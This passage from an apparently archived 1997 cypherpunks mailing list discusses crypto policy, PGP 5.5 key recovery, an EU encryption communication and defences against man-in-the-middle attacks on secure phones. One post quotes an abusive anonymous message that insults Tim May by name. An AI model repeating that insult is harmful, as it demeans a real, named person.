 HEX EAA127FA ; /* 42 */
 HEX D4EF3085 ; /* 43 */
 HEX 04881D05 ; /* 44 */
 HEX D9D4D039 ; /* 45 */
 HEX E6DB99E5 ; /* 46 */
 HEX 1FA27CF8 ; /* 47 */
 HEX C4AC5665 ; /* 48 */

*  /* Round 4 */

 HEX F4292244 ; /* 49 */
 HEX 432AFF97 ; /* 50 */
 HEX AB9423A7 ; /* 51 */
 HEX FC93A039 ; /* 52 */
 HEX 655B59C3 ; /* 53 */
 HEX 8F0CCC92 ; /* 54 */
 HEX FFEFF47D ; /* 55 */
 HEX 85845DD1 ; /* 56 */
 HEX 6FA87E4F ; /* 57 */
 HEX FE2CE6E0 ; /* 58 */
 HEX A3014314 ; /* 59 */
 HEX 4E0811A1 ; /* 60 */
 HEX F7537E82 ; /* 61 */
 HEX BD3AF235 ; /* 62 */
 HEX 2AD7D2BB ; /* 63 */
 HEX EB86D391 ; /* 64 */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 10 Oct 1997 10:10:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: America as a Shake Down Extortion State
Message-ID: <1.5.4.32.19971010015455.00b9450c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>The debate over crypto almost certainly fits this pattern. If and when a
>domestic ban on crypto is likely to pass and be signed, companies like RSA
>and PGP will face extinction. This will then "incentivize" executives of
>these companies to release funds, in the form of campaign
>contributions--either directly or through back channels--to the Republican
>and Democratic parties. Then a "compromise" will be found which lets RSA
>and PGP, as examples, survive. And they may also be given government
>business, with suitable GAK features made mandatory.


Netscape has just been awarded a major contract with the Department
of Defense for "secure" browsers, with options for "annual renewals."
One of the best ever for NSCP.

This is a public deal, as distinguished from the secret others pointed to 
in mandatory public notices in the Federal Register of meetings closed 
for national security by the Defense Science Boards, the National 
Defense Panel, and a welter of mil/gov advisory groups composed of 
members from industry, education and policy orgs eager to get advance 
word of market and contribution opportunities.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 10 Oct 1997 10:07:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: What's really in PGP 5.5?
Message-ID: <1923cf26ae66f5dc8867599b0d394536@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Martin Minow claiming to be Martin Minow wrote:
>Anonymous, claiming to be Monty Cantsin, writes about PGP 5.5:

I beg your pardon!

>>Decrypting files and decrypting messages are not the same problem.
>>The PGP product has SMTP support - it is explicitly designed to
>>weaken transmitted messages.  Just like Clipper.
>
>No, it isn't "just like Clipper." Messages encrypted with PGP 5.5
>can be decrypted or verified by PGP 5.0 or other implementations that
>can decode the PGP message and encryption format. Also, PGP 5.0 or other
>complient implementations can send encrypted and signed messages to
>PGP 5.5 users.

Next you'll be telling us that PGP doesn't really use Skipjack.  ;-)

_Of course_ it isn't Clipper.  But, it's like Clipper in the most
important way: it is surveillance friendly.

The use of Clipper was not compelled.  We hated it because if it were
used to any degree at all, its use would become mandatory.

PGP Inc.'s Big Brother line of products play the same role Clipper
did, only they are wrapped up in PGP Inc.'s "Good Guy" image.  PGP
Inc. may succeed where William Clinton and The Spooks failed.

Were we to behave consistently, we would treat the company with the
same level of trust and respect the present administration receives.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBND1+KpaWtjSmRH/5AQFTTwf7B6QO8I0yqQobsoUlW5AZxxXH4Tya/pwd
3hAZs//Y1gKyVEX6nW9dE3sDVAW8GBK489S4TMWemdbtfgeq7EaiV0D5QcLcAXst
Iqz/WIKxpXjJ5+DjPV2CP6v6zd2XGIa7y3G0BKXglLZh5X7EkiRbJ6c8aixgAk6n
2nFKDqyp53mpmqTPm7xQbpYni5CtQ8Ljq/m+m4LP1hN05OYR8ZWJRz7hqrWvU+5A
zw0xagCgPOKZZMZNS7sW+xGwVezsLis9KMZvsB1Paq4s8+geNlFr73vDwlM9SROI
KxCfJnpr/sLG3x3Mtbv8Y0vhErTsZ2Pu4HnazVdjelh+r6O67v3TQQ==
=JUfQ
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 10 Oct 1997 10:11:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Applying ``Crowds'' idea to anonymous e-cash.
Message-ID: <1cce1b1e16a2b155d266ad70e94abd78@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
>On Thu, 9 Oct 1997, John Kelsey wrote:
>> Crowds, for those who haven't seen it, is a way of giving web users
>> partial anonymity by making it impossible to determine which member
>> of some ``crowd'' of users did some action (such as requesting a
>> document).  (This is a very rough summary--read the paper for the
>> real analysis.)
>
>Some people from MSFT proposed a similar concept at FC'97. As for its
>real life value, the legal term for such a system is "conspiracy".

Almost everything we do could be called "conspiracy".

John has a good idea here.  Let's give it room to grow.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 10 Oct 1997 04:24:20 +0800
To: cypherpunks@toad.com
Subject: Re: EU Rejects GAK
In-Reply-To: <9710091554.AA41750@public.uni-hamburg.de>
Message-ID: <m0xJOr2-0003bcC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> ENSURING SECURITY AND TRUST IN ELECTRONIC COMMUNICATION

Sorry, I got the URLs wrong, and for some reasons the interesting
parts of the summary got cut off.

http://www.ispo.cec.be/eif/policy/97503exec.html

   ENSURING SECURITY AND TRUST IN ELECTRONIC COMMUNICATION
   
     Towards A European Framework for Digital Signatures And Encryption
                                      
                             EXECUTIVE SUMMARY
                                      
   Introduction
   
   Open electronic networks such as the Internet are increasingly being
   used as a platform for communication in our society. They have the
   capacity to create new businesses, new channels of distribution and
   new methods of reaching the customer. They also open up opportunities
   to re-engineer business conduct itself. It is now largely expected
   that electronic commerce will be one of the key drivers for the
   development of the global information society. Electronic Commerce
   presents the European Union with an excellent opportunity to advance
   its economic integration by means of a "virtual" economic area.
   
   However, the realisation of such developments are hampered by the
   noticed insecurities typical to open networks: messages can be
   intercepted and manipulated, the validity of documents can be denied,
   personal data can be illicitly collected. As a result, the
   attractiveness and advantage of electronic commerce and communication
   cannot be fully exploited.
   
   In order to make good use of the commercial opportunities offered by
   electronic communication via open networks, a more secure environment
   needs to be established. Cryptographic technologies are widely
   recognised as essential tools for security and trust on open networks.
   Two important applications of cryptography are digital signatures and
   encryption.
   
   Several Member States announced their intentions to introduce specific
   regulation on cryptography and some already have done so. For
   instance, Germany and Italy already moved ahead with digital signature
   laws. In other Member States internal discussions are taking place,
   and some tend to refrain, at least for the moment, from any specific
   regulation at all.
   
   Divergent and restrictive practices with regard to cryptography can be
   detrimental to the free circulation of goods and services within the
   Internal Market and hinder the development of electronic commerce. The
   European Union simply cannot afford a divided regulatory landscape in
   a field so vital for the economy and society.
   
   The main objectives of this Communication are to develop a European
   policy in particular with a view to establishing a common framework
   for digital signatures, ensuring the functioning of the Internal
   Market for cryptographic services and products, stimulating a European
   industry for cryptographic services and products and stimulating and
   enabling users in all economical sectors to benefit from the
   opportunities of the global information society. As far as timing is
   concerned, the Commission considers that appropriate measures ought to
   be in place throughout the Union by the year 2000 at the latest. As a
   consequence, the Commission intends to come forward with detailed
   proposals in 1998 after the assessment of comments on this
   Communication.
   
   This is in line with the April 1997 adopted Communication on
   Electronic Commerce, where the Commission announced the intention to
   prepare a policy aiming at guaranteeing the free movement of
   encryption technologies and products, as well as to propose a specific
   initiative on digital signatures.
   
   Digital Signatures
   
   Some Member States are in the process of introducing voluntary
   schemes, others of mandatory licensing schemes to build trust in
   Certification Authorities (CAs) and to encourage legal recognition of
   digital signatures. Whilst the development of a clear framework is
   welcomed, different national regulatory approaches and the lack of
   mutual recognition of each others regulatory requirements may easily
   lead, due to the inherent cross-border nature of digital signatures,
   to a fragmentation of the Internal Market for electronic commerce and
   on-line services throughout the Union.
   
   In order to stimulate electronic commerce and the competitiveness of
   the European industry as well as to facilitate the use of digital
   signatures across national borders, a common legal framework at
   Community level is urgently needed. Any regulation in the field of
   digital signatures must meet two main requirements: create a clear
   framework to build trust in digital signatures on one side and be
   flexible enough to react to new technical developments on the other
   side.
   
   Encryption
   
   Stimulated by the rapid expansion of the Internet encryption will
   become an integral part of personal and business computing. Electronic
   commerce as well as many other applications of the information society
   will only receive acceptance and will only unfold their economic and
   social benefits if confidentiality can be assured in a user-friendly
   and cost-efficient way. In open networks, encryption of data is very
   often the only effective and cost-efficient way of protecting
   confidentiality of data and communications.
   
   Law enforcement authorities and national security agencies are
   concerned that wide-spread use of encrypted communication will
   diminish their capability to fight against crime or prevent criminal
   and terrorist activities. For this reason, there are reflections in
   several Member States to establish regulation on cryptography, in
   addition to controls on export and intra-Community shipments. This has
   led to a discussion about the need, technical possibilities,
   effectiveness, proportionality and privacy implications of such
   regulations.
   
   However, nobody can be effectively prevented from encrypting data
   (criminals or terrorists also can use encryption for their
   activities), e.g. by simply downloading strong encryption software
   from the Internet. As a result restricting the use of encryption could
   well prevent law-abiding companies and citizens from protecting
   themselves against criminal attacks. It would not however prevent
   totally criminals from using these technologies.
   
   Proposals for regulation of encryption have generated considerable
   controversy. Industry expresses major concerns about encryption
   regulation, including key escrow and key recovery schemes. Although
   there is a lack of experience, as electronic communication and
   commerce have just begun to penetrate economy and society, this
   Communication makes some assessments to build a common European
   understanding of the subject.
   
   Policy actions in the area of digital signatures
   
   The at European level urgently needed framework should include common
   legal requirements for CAs (in particular common requirements for the
   establishment and operation of CAs) allowing certificates to be
   recognised in all Member States.
   
   In addition, the Commission will monitor the legal developments in
   Member States introducing new legislation with the aim to respect
   Internal Market principles and will encourage Member States to rapidly
   implement appropriate measures to build trust in digital signatures.
   
   In order to achieve as wide as possible acceptance of digital
   signatures Member States should co-ordinate activities to ensure legal
   recognition of digital signatures at the latest by the year 2000. The
   Commission will evaluate the necessity to provide for the legal
   recognition of digital signatures at Community level by harmonising
   different national regulation (e.g. form requirements, evidence
   rules).
   
   The Community and Member States should take part in or initiate a
   dialogue with international organisations, such as the OECD, the
   United Nations and the WTO, notably to establish common technical
   standards and mutual recognition of regulations.
   
   Policy actions in the area of encryption
   
   The EC Treaty and the Treaty on the European Union fully respect the
   competence of Member States with regard to national security and law
   enforcement.
   
   To ensure that the development of electronic commerce in the Internal
   Market is not hindered and to facilitate the free circulation and use
   of encryption products and services the Commission calls upon Member
   States to avoid disproportionate restrictions. Moreover the Commission
   will examine whether restrictions are totally or partially justified,
   notably with respect to:
   
     * the free circulation provisions of the Treaty, in particular
       Articles 30, 36, 52, 56 and 59,
     * the principle of proportionality,
     * the Council Directive 83/189/EEC of 28.3.1993 laying down a
       procedure for the provision of information in the field of
       technical standards and regulations and
     * the EU Directive 95/46/EC of 24.10.95 on the protection of
       personal data.
       
   The Commission also believes that it will be important for Member
   States to distinguish "digital signature services" from "encryption
   services", because different rules and different goals separate these
   two aspects.
   
   Additional measures:
   
     * Adapting the Dual Use Regulation (CE) 3381/94 in view of the
       requirements for the cryptographic products market;
     * Improving the co-operation of police forces on a European and
       international level;
     * Working towards international agreements between the Community and
       other countries because of the global dimension of electronic
       communications and commerce.
       
   Accompanying measures
   
     * Encouraging industry and international standards organisations to
       develop interoperable technical and infrastructure standards for
       digital signatures and encryption to ensure secure and trustworthy
       use of networks.
     * Proposal of a Council and Parliament Decision for an INFOSEC II
       programme building on the INFOSEC programme carried out from 1992
       until 1994. Such a programme would aim at developing overall
       strategies for the security of electronic communications, in
       particular with a view to provide the user with appropriate
       protection systems.
     * Continuing of the current projects in the field of digital
       signatures and encryption within the 4th framework programme for
       Community activities in the field of research and technological
       development (1994 - 1998) and launching of new projects within the
       5th framework programme (1998 - 2002).
     * Support of the use of digital signatures and encryption in EU
       services and government administrations.
     * Setting up of an European Internet-Forum in 1997 as a means to
       inform and exchange information on the regulatory and use aspects
       of digital signatures and encryption.
     * Organisation of an international hearing on "digital signature and
       encryption" beginning of 1998.
       
   Timeframe
   
   4.Q./1997: European Internet-Forum
   
   4.Q./1997: Commission proposal to amend the Dual-Use Regulation
   
   1.Q./1998: International hearing
   
   1.Q./1998: Assessment of the comments on the Communication, the
   results of the Internet-Forum and the international hearing
   
   2.Q./1998: Proposal for further action (e.g. Directive on digital
   signatures)
   
   2.Q./1998: Proposal for an Infosec II programme
   
   1998-2002: Projects within the 5th framework programme
   
   by 2000: Common framework on cryptography put in place throughout the
   Union





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 10 Oct 1997 05:21:45 +0800
To: jamesd@echeque.com
Subject: Re: Secure Phone:  Making man in the middle audible.
In-Reply-To: <199710091831.LAA06017@proxy3.ba.best.com>
Message-ID: <199710092112.WAA01188@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Donald <jamesd@echeque.com> writes:
> Suppose that Bob's computer from time to time formulates a plan to
> do groups of a particular size and form, and sends Ann's computer a
> hash of that plan and the DH negotiated shared secret.
> 
> So malloc must decompress Bob's speech packets, repacketize them, 
> and recompress them,
> 
> Often he will not be able to send off a packet, until he has received 
> two of Bob's packets.
> 
> So this triples the delay, and increases the speech degradation.

Good.  Sounds as though this could work.  Much better than my stego
ramblings.

One minor point: if I was Mallet faced with the problem your solution
presents the MITM with I would compose a plan which used a whole row
of minimum sized packets (or small upward random variations).  That
would minimise the chance that I would have to wait to compose
packets.  Clearly you can fix this: you can insist on a certain
standard deviation, or whatever as part of the protocol.

Another point is that you are making the unstated assumption that you
can't stream packets.  That is, you are assuming that you must receive
the whole packet before you can start to resend decoded and
re-encoded.  Perhaps this is already the case anyway, I don't know
much about audio compression algorithms or codecs.  Eric can tell us
whether this will already be the case for his algorithm set.  If not,
I think it should be easy enough to enforce this property (immediate
solution which comes to mind: send the bits in a packet backwards!)


I'm wondering also whether you couldn't generalise the sort of
stretched interlock protocol which is going on here, with in your
solution the readers ears telling him something is wrong, to come up
with something where the firmware in Eric's fine box could detect
and just flip out of secure mode, or flash the leds, or whatever in
protest to indicate it had detected a MITM attempt.

Perhaps what you have already is enough -- if the inter-packet delay
gets longer than whatever you caculate as the highest possible time
which could normally happen you flag MITM.  If you can ensure that
transatlantic delays are lower than the delays MITM will introduce
with this protocol, you've got it covered.

Being paranoid, I still see a couple of dangers: 

- if the packets are quite small you may be able to have a neural net
setup fill in the gaps when the packets lengths arrive awkwardly for
the MITM without it sounding too strange.

- there is no guarantee of real-time, you can make something sound like
it is coming in real time when it has lag.  For example: if you insert
some throat clearing, or ponderous "errr".  Some peoples speech
patterns are that way already.

This second one causes me to suggest that you'd be safer to have the
box detect the MITM induced lag if you can, rather than rely on human
ears.

I'm going to think on this some more.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 10 Oct 1997 11:37:19 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Pipes & inodes ... redux (fwd)
Message-ID: <199710100353.WAA20051@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: mhahn@tivoli.com (Mike Hahn)
> Subject: Re: Pipes & inodes ... redux
> Date: Thu, 9 Oct 1997 21:57:22 -0500 (CDT)
> 
> > > As for as the "getting old" thread of Kenny Z's:
> > 
> > Speaking of Kenny Z, did you know that Kenny G was majority
> > stockholder of Starbucks?
> 
> Man, you would think with all that coffee, he could play something better
> than the crap he plays...Heck, Miles Davis and Charlie Parker survived on
> Folgers for all we know...

How about Robert Johnson....Terraplane Blues rules....;)


                                                 Ravage
                                                  Black
                                                   Leather
                                                    Monster






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 10 Oct 1997 11:55:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: The Sovereign Individual - ignorant authors
Message-ID: <199710100412.XAA20204@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Finaly getting back to reading some more of the book [1], Chpt. 9 in
particular.

This chapter deals with various aspects of social issues (eg rise of
national languages) and how they led to the growth of nationalism in
general. Toward the end of the chapter (pp. 265 in the hardback) these
idiots (don't know a better term) actualy have the audactity to claim that
Stephen Jay Gould is a neo-creationist, in short they claim that Gould holds
there is a 'higher power' (ie transcendance) directing evolution and the
impact of inhereted traits on society.

The author of this section has apparently never read a word that Gould has
written. Gould is known as a leading supporter of Punctuated Equilibria and
its various spawn, and with Ernst Meyr lead the battle against creationist
theories and others of that ilk. Gould and Meyr's theories flatly reject
transcendance as a force in evolutionary theory. Considering that no
supporter of transcendance in evolutionary theory has ever succesfuly
weathered a reasoned attack I simply stand in awe of the authors expectation
of the readers ignorance.

The more I read of this book the less respect I have for either author.
I previously recommended this book as an intellectual challenge at least,
I retract that recommendation. Don't waste your money on this drivel from
a couple of snake oil salesmen who continously contradict themselves and
pose flawed theory after flawed theory.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


[1]

The Sovereign Individual: How to survive and thrive during the collapse
                          of the welfare state
J.D. Davidson, Lord W. Rees-Mogg
ISBN 0-684-81007-7





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 10 Oct 1997 12:01:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Pipes & inodes ... redux (fwd) [oops]
Message-ID: <199710100413.XAA20243@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jim Choate <ravage@ssz.com>
> Subject: Re: Pipes & inodes ... redux (fwd)
> Date: Thu, 9 Oct 1997 22:53:50 -0500 (CDT)

Sorry, that was meant for a completely different set of readers. I hit the
wrong key.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 10 Oct 1997 11:30:14 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: America as a Shake Down Extortion State
In-Reply-To: <Pine.LNX.3.95.971009163000.425A-100000@is-chief>
Message-ID: <3.0.2.32.19971009231954.0069d338@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>The debate over crypto almost certainly fits this pattern. If and when a
>domestic ban on crypto is likely to pass and be signed, companies like RSA
>and PGP will face extinction. This will then "incentivize" executives of
>these companies to release funds, in the form of campaign

Actually, I think it's a little more likely that they'll get disgusted with 
Congress, and collect some money for the ACLU to use to pay their lawyers in 
the instant filing of the consitutionality challenge.  

Seems to be a much more productive way to spend your money (long-term).


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBND2e2Tc3ytqHnNyNAQFo5gP8CuQ0p5GF3nLjQJUrmOf1Z2sjzbjVosI7
RRegk+nKA6EAaUozCJxTVTAfol2WbOiLNAW7UN4fOPKYxt8mjalLAEhKBNYyH+jf
vxwmOX6JXHNYqAIz3CZ0ucZYShrwrS+2LvWamwmjaknnP45C+pBSBwm2bA93/0uo
6s8zgIqsLCQ=
=D6cb
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 10 Oct 1997 11:33:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Defeating MITM with Eric's Secure Phone
Message-ID: <bf93dd7a6705c63ca0db70676cb3e3af@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

My apologies if this has already been discussed, but wouldn't this be
a straightforward solution?

Alice and Bob use PGP as a secure, identified channel to exchange a
random 6 digit hex number.  For example, 0xC926D0.

When they establish their Comsec connection, they read 0x5F92E4 off
their units.

Alice takes the digits C, 9, and 2, and adds them mod 16 to 5, F, and
9 to get the digits 1, 8, and B, which she reads to Bob who confirms
them.  (Adding just the digits instead of larger numbers means that
Alice and Bob can do the computation in their heads.)

Bob takes the digits 6, D, and 0 and adds them mod 16 to the digits 2,
E, and 4 to get 8, B, and 4.  Bob reads them to Alice who confirms
them.

Any flaws?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBND2EZ5aWtjSmRH/5AQGBnQf/QRMe/66ge+M/zHzzrZ7zc3g9wFKESsjA
alzeGfUulzp+18JyUy1RHNOtM+4bXZUaiYAN7FnxKkAkY+IzW5m7nDHMnC18e+bD
IZpO626Ze+pumokhXVTYW0JHWF4OfCol4qmYNSTjM+n4RO0DcmecOuQYuwnscJvb
808rsuin09dhY3UV5uyDWrCwuATIRjwSRTewBinuTGZo/QtMurXJlPc45WtF07oC
9Tg3ebnnq0NtbxWmsX7WT/tjFHoniS5sPoBusrlZT+1z+PT0SzqtSR1JmWKGVQQC
xubaghabXvNj9nZZPsEGCG4rMbJw8Qtoh9J6I+aQJ0TVK4hHuanJXw==
=Ooh/
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 10 Oct 1997 11:40:51 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <b6eadab9ed323417eed33e59a019c8c9@anon.efga.org>
Message-ID: <Pine.SUN.3.96.971009233229.23982G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 8 Oct 1997, Anonymous wrote:

> Second, what if an employee doesn't come back from vacation?  You've got
> messages sitting in his inbox which go back three weeks.  All encrypted
> to his personal key, which is gone.

Shut up Kent, yes, we know it is you posting this rant.  The above fails
due to one single little key word "his personal key." If it is his
personal key, then the business has no business reading his email.  If it
indeed is a corporate key you should have said so, and he - the employee
could have arranged for his passphrased to be escrowed with the company's
principals, if that wasn't done, the company is stupid and doesn't deserve
to survive.

> It's been long enough that the
> senders may not have backups any more.  It's all lost, and at best the
> company is going to put its partners and customers to a great deal of
> inconvenience by making them re-send everything they've sent in the last
> three weeks, not to mention making the company look incompetent.

Correction: not only will they look incompetent, but in reality this
will prove that they are!  Single point of failure in any system is
something every company should consider.  It's the same with filing taxes
so the IRS doesn't come down on your head, making backups of your servers
incase the hard drive crashes and buying all sorts of insurance.

This is a stupid arguement.  Go away.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Fri, 10 Oct 1997 14:57:35 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <v04001b20b0637c652eba@[129.46.85.154]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:06 PM +0100 10/8/97, Adam Back wrote:
>
>Email itself is pretty fragile, and email is not commonly used for
>long term storage.

Now this is a pretty bold assertion.  One with which I completely disagree.
As I peruse my Eudora folder this evening, I can easily pick out messages
that date back nearly 6 years.  Looking thru IETF working group archives
(which are *all* email) it is possible to find messages dating back 10
years and more.

Moreover, it is not unheard of during legal discovery for email to be made
subject to search (Our lawyers are constantly tut-tuting about all the
email that is saved).  So to say it is not used for long-term storage is
simply incorrect.

Since your argument pretty much is based on this claim, Adam, I have a hard
time accepting any of it.

john  w noerenberg, ii
jwn2@qualcomm.com
pager: jwn2@pager.qualcomm.com
 --------------------------------------------------------------------
  "A beautiful idea has a much greater chance of being a correct idea
   than an ugly one."
 -- Roger Penrose, "The Emperor's New Mind", 1989
 --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 10 Oct 1997 14:52:15 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199710091130.EAA09395@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.971010004150.19492A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 9 Oct 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> The main difference between Timothy May and shit is that shit smells 
> better.
> 
>      \o _o   o  o  \o  |o  |o  >>    /\/ o__  _o   o/ Timothy May
>      |   |  /|  |\  |  /  /|/  \|o  o\   |  \   \  |
>      |   |  << <<  << |                        << < \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Fri, 10 Oct 1997 14:08:18 +0800
To: alexlh@yourchoice.nl (Alex Le Heux)
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001201336.alexlh@sarah.yc>
Message-ID: <199710100559.AAA00846@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> Maybe you haven't noticed, but seen on 2000 year scales, the entire world
> is constantly in a state of war. Europe isn't special in that regard. Even
> though it doesn't look like there's many countries that are about to take
> war to us here, it still might happen. And even if I had my AR15 then, it
> wouldn't help me a lot against guided missiles and mortar fire. And anyway,

	This statement shows you know nothing about warfare execpt what you 
see on TV. 

> "to defend yourself in a war" is not one of the usual arguments against gun
> control. 

	No, but "To defend yourself against Government Thugs" is. 

> > You must be getting some good drugs over there to conjure up this fantasy
> > land where everyone loves one another and would never think of killing
> > someone because it sure as hell doesn't exist in Europe.
> Well, we're a lot closer to it over here than you guys are over there.

	Stalin. Hitler. Bosnia. 

	Yup. Lots closer. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Fri, 10 Oct 1997 14:36:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Where is _my_ blowjob?
In-Reply-To: <199710100334.FAA11247@basement.replay.com>
Message-ID: <199710100605.BAA18667@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes:

> What is the relationship between "Harold" and "Norbert"?  You say
> there is no direct evidence connecting them.  What evidence does
> connect them?  Did they at least know each other?

No relationship at all, except for the fact that the police "Harold"  told
to fuck off called the team investigating "Norbert's" death and told them
"Harold" would make an excellent patsy, being in an illegal homosexual
relationship with an older man and excellent media fodder.

> While "Harold" may not be guilty of the murder, if he did kill
